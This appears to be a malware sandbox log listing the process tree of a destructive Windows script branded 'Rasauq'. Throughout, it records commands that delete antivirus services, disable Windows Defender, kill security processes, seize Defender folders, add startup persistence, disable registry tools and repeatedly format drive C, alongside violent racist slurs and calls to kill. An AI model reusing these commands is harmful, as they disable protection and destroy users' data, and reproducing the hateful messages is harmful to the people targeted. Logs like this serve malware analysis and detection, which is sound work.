C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdredline" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdparentalservice" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdreinit" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\bdsubwiz" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\seccenter" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\vsserv" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\epssecurityservice" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f4⤵
- Modifies Windows Defender DisableAntiSpyware settings
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableBehaviorMonitoring" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableOnAccessProtection" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\sc.exesc stop WinDefend4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete WinDefend4⤵
-
-
C:\Windows\system32\sc.exesc stop SecurityHealthService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete SecurityHealthService4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc stop Sense4⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exesc delete Sense4⤵
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MsMpEng.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM MpCmdRun.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM SecurityHealthSystray.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\taskkill.exetaskkill /F /IM smartscreen.exe /T4⤵
- Kills process with taskkill
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Microsoft\Windows Defender" /grant Administrators:F /t /c /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f "C:\Program Files\Windows Defender" /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Windows Defender" /grant Administrators:F /t /c /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /f4⤵
-
-
C:\Windows\system32\reg.exereg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /f4⤵
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\notepad.exe /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\notepad.exe /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\calc.exe /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\calc.exe /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /f C:\Windows\System32\Taskmgr.exe /a /r /d y4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\System32\Taskmgr.exe /grant Administrators:F /t /c /l /q4⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\powercfg.exepowercfg /hibernate off REM Disables hibernation4⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exepowercfg /change standby-timeout-ac 0 REM Prevents sleep while plugged in4⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exepowercfg /change standby-timeout-dc 0 REM Prevents sleep on battery4⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exepowercfg /change standby-timeout-ac 0 REM Prevent sleep when plugged in4⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exepowercfg /devicedisablewake "Device Name"4⤵
- Power Settings
- Checks SCSI registry key(s)
-
-
C:\Windows\system32\powercfg.exepowercfg /devicedisablewake "USB Root Hub"4⤵
- Power Settings
- Checks SCSI registry key(s)
-
-
C:\Windows\system32\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Service" /t REG_SZ /d "" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\system32\reg.exereg add "HKCR\behead all niggers" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKCC\SOFTWARE\hello today guys i will be killing all the niggas while warching loli" /f4⤵
-
-
C:\Windows\system32\reg.exereg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "LetsRemoveRasauq"4⤵
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "RasauqRemover" /t REG_SZ /d "\"\"" /f4⤵
- Adds Run key to start application
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKU" /s /f "Software" /k4⤵
-
C:\Windows\system32\reg.exereg query "HKU" /s /f "Software" /k5⤵
-
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Classes\Local Settings\Software\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\.DEFAULT\Software\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Classes\Local Settings\Software\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-19\SOFTWARE\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Classes\Local Settings\Software\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-20\SOFTWARE\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\AppDataLow\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\AppDataLow\Software\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Speech_OneCore\Isolated\hI8XsvMZLfGME4pGvcu5ybXE8iojEgqtSsGWO-tcVAk\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Speech_OneCore\Isolated\hI8XsvMZLfGME4pGvcu5ybXE8iojEgqtSsGWO-tcVAk\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Speech_OneCore\Isolated\hI8XsvMZLfGME4pGvcu5ybXE8iojEgqtSsGWO-tcVAk\HKEY_CURRENT_USER\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKwN2EBJ1Cyr7HTF0\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKwN2EBJ1Cyr7HTF0\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000\SOFTWARE\Classes\Local Settings\Software\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\Software\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKwN2EBJ1Cyr7HTF0\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKwN2EBJ1Cyr7HTF0\HKEY_LOCAL_MACHINE\SOFTWARE\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Software\Software\Rasauq on top" /f4⤵
- Modifies registry class
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-21-3342763580-2723508992-2885672917-1000_Classes\Local Settings\Software\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Classes\Local Settings\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Classes\Local Settings\Software\Software\Software\Rasauq on top" /f4⤵
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
- Modifies data under HKEY_USERS
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing\Software\Software\Rasauq on top" /f4⤵
- Manipulates Digital Signatures
-
-
C:\Windows\system32\reg.exereg add "HKEY_USERS\S-1-5-18\Software\Software\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\reg.exereg add "End of search: 51 match(es) found.\Software\Rasauq on top" /f4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:3 "This machine has been compromised by Rasuaq"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn-cf-east.streamable.com/video/mp4/j3mt4w.mp4?Expires=17424670400714⤵
-
-
C:\Windows\system32\timeout.exetimeout /t 10 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
- Blocklisted process makes network request
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://pattern-cyber-report.glitch.me/4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=gay+femboy+porn+hitler+niggers"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+make+a+bomb"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=where+to+buy+gunpowder"4⤵
-
-
C:\Windows\system32\curl.execurl -s "https://www.google.com/search?q=how+to+sneak+anything+onto+a+plane"4⤵
-
-
C:\Windows\system32\format.comformat C: /fs:NTFS /q /y4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "Rasauq on top"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "ran by Rasauq"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq owns me"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 " Rasauq is daddy"4⤵
-
-
C:\Windows\system32\msg.exemsg * /time:1 "kill all niggas"4⤵
-
-
